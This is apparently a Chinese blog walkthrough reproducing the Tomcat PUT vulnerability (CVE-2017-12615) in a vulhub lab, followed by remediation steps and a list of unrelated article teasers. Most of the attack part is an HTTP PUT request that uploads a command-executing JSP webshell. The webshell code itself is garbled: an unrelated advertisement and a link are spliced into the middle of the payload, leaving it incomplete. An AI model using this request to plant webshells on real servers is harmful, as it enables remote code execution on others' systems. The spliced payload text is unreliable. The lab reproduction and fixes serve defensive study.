Tomcat Put(CVE-2017-12615)复现
在 vulhub 环境中,启动后访问 8080 端口,可以看到 tomcat 的 example 界面:
根据描述,在 Windows 服务器下,将 readonly 参数设置为 false 时,可以通过 PUT 方式创建一个 JSP 文件,并执行任意代码。
直接写入以下内容:
PUT /cmd.jsp/ HTTP/1.1
Host: 172.16.1.44:8080
Accept: /
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type:application/x-www-form-urlencoded
Content-Length: 666
AI图像生成的规则改变者,通过添加额外条件来控制SD模型
查看详情
+"\n");}buf.close();} catch(Exception e) {line.append(e.getMessage());}returnline.toString();}%>"+excuteCmd(request.getParameter("cmd"))+"");}else{out.println(":-)");}%>
访问:https://www.syai.cn/link/4f84c116da1cd8920decdc4951488103
也可以使用脚本写入文件:
效果相同!
由于存在去掉最后的 / 的特性,这个漏洞自然影响 Linux 以及 Windows 版本。经过测试,这个漏洞影响全部的 Tomcat 版本,从 5.x 到 9.x 无一幸免。目前来说,最好的解决方式是将 conf/web.xml 中对于 DefaultServlet 的 readonly 设置为 true,才能防止漏洞。
修复方案:
-
配置 readonly 和 VirtualDirContext 值为 True 或注释参数,禁止使用 PUT 方法并重启 Tomcat。注意:如果禁用 PUT 方法,对于依赖 PUT 方法的应用,可能导致业务失效。
-
根据官方补丁升级到最新版本。
以上就是Tomcat Put(CVE-2017-12615)复现的详细内容,更多请关注深圳推广【www.sztg.com.cn】。
如非特殊说明,本站内容均来自于网友自主分享,如有任何问题均请联系我们进行处理!
猜您喜欢
Qoder自动化测试实战:利用单元测试模块降低代码复现错误
2026-05-21降低代码复现错误需五步:一、用pytest参数化构建确定性测试;二、用QoderRules固化边界规则;三、用QTest信号捕获保障异步稳定性;四、建回归归档与CI阻断机制;五、用QoderCLI差异测试拦截覆盖缺失。 ☞☞☞AI智能聊天,问答助手,AI智能搜索,多模态理解力帮你轻松跨越从0到1的创作门槛☜☜☜ 如果您在使用Qoder进行自动化测试时,发现相同逻辑缺陷反复出现在不同版本或模块中,则...
如何使用固定随机种子生成可复现的条件随机样本
2026-05-21本文介绍一种高效、可复现且支持性能优化的方法:通过确定性种子递进策略与向量化过滤,在Python中生成满足$X_1a\(i=2,\dots,10)$的5000个标准正态随机样本,确保相同初始种子下结果完全一致。 本文介绍一种高效、可复现且支持性能优化的方法:通过确定性种子递进策略与向量化过滤,在python中生成满足$x_1a\(i=2,\dots,10)$的5000个标准正态随机样本,确保相同初...
生成可复现的带条件筛选的随机样本:基于固定种子的高效实现
2026-05-21本文介绍如何在Python中生成满足特定不等式约束(如$X_1a$)的5000个标准正态随机样本,并确保结果完全可复现——只要初始随机种子相同,输出就严格一致;同时兼顾计算效率与潜在并行扩展性。 本文介绍如何在python中生成满足特定不等式约束(如$x_1a$)的5000个标准正态随机样本,并确保结果完全可复现——只要初始随机种子相同,输出就严格一致;同时兼顾计算效率与潜在并行扩展性。 在蒙特卡...
如何在Python中固定PyTorch随机种子_通过manual_seed确保实验可复现
2026-05-21只设torch.manual_seed不够,因为PyTorch随机性还来自CUDA、cuDNN、DataLoader多进程、numpy和Pythonrandom;需四步:固定各RNG、禁用cudnn.benchmark、设cudnn.deterministic、为worker_init_fn传递带ID的种子。 为什么只设torch.manual_seed不够 很多用户调用torch.manual_...
如何使用 Plotly 复现 SHAP Summary Plot(蜂群图)
2026-05-18本文介绍如何将多个特征的shap值整合到一张plotly蜂群图中,按原始特征分组、按one-hot编码值(0/1)着色,实现媲美shap原生summary_plot的可视化效果。 本文介绍如何将多个特征的shap值整合到一张plotly蜂群图中,按原始特征分组、按one-hot编码值(0/1)着色,实现媲美shap原生summary_plot的可视化效果。 要复现SHAP库中经典的summary_...
Python怎么用NumPy生成可复现的随机数序列_设置np.random.seed或创建Generator
2026-05-02np.random.seed()不生效是因为它只影响旧式函数,对新式Generator实例无效;Generator必须在创建时通过default_rng(seed=42)指定种子,而非事后调用seed()。 为什么np.random.seed()有时不生效? 直接调用np.random.seed(42)确实能设全局随机种子,但它只影响旧式函数(如np.random.rand()、np.random...
Python 中非线程安全代码的实操解析与复现技巧
2026-05-02本文详解为何x+=1在多线程下本质不安全,揭示GIL机制下竞态条件(racecondition)的触发原理,并提供可靠复现方法、字节码验证及线程安全修复方案。 本文详解为何`x+=1`在多线程下本质不安全,揭示gil机制下竞态条件(racecondition)的触发原理,并提供可靠复现方法、字节码验证及线程安全修复方案。 在Python多线程编程中,“非线程安全”并非指代码必然出错,而是指其行为缺...
如何理解并复现 Python 中非线程安全的竞态条件问题
2026-05-02本文详解为何x+=1在多线程下是非原子操作,揭示GIL与时间片调度如何共同掩盖竞态条件,并提供可稳定复现问题的实践方法与修复方案。 本文详解为何`x+=1`在多线程下是**非原子操作**,揭示gil与时间片调度如何共同掩盖竞态条件,并提供可稳定复现问题的实践方法与修复方案。 在Python多线程编程中,“非线程安全”并非指代码必然崩溃,而是指逻辑上存在竞态条件(racecondition)——多个...
Python 中非线程安全代码的原理与复现方法
2026-05-02本文详解为何x+=1在多线程下不安全,揭示GIL与字节码执行机制如何共同导致竞态条件,并提供可稳定复现问题的实践方案及加锁修复示例。 本文详解为何`x+=1`在多线程下不安全,揭示gil与字节码执行机制如何共同导致竞态条件,并提供可稳定复现问题的实践方案及加锁修复示例。 在Python多线程编程中,“非线程安全”并非指代码必然崩溃,而是指共享状态的修改缺乏原子性保障,结果不可预测。你遇到的现象——...
怎样在Perplexity中快速复现深度学习模型报错_检索GitHub Issue讨论
2026-04-23可借助Perplexity精准定位GitHubIssue并提取复现步骤:一、清洗错误堆栈提取静态特征构造高精度检索式;二、启用DeveloperMode限定技术源域;三、用自然语言补全缺失复现场景;四、交叉验证最小复现代码;五、提取已合并PR定位修复行。 ☞☞☞AI智能聊天,问答助手,AI智能搜索,多模态理解力帮你轻松跨越从0到1的创作门槛☜☜☜ 当您在训练深度学习模型时遇到报错,且该错误已在Gi...
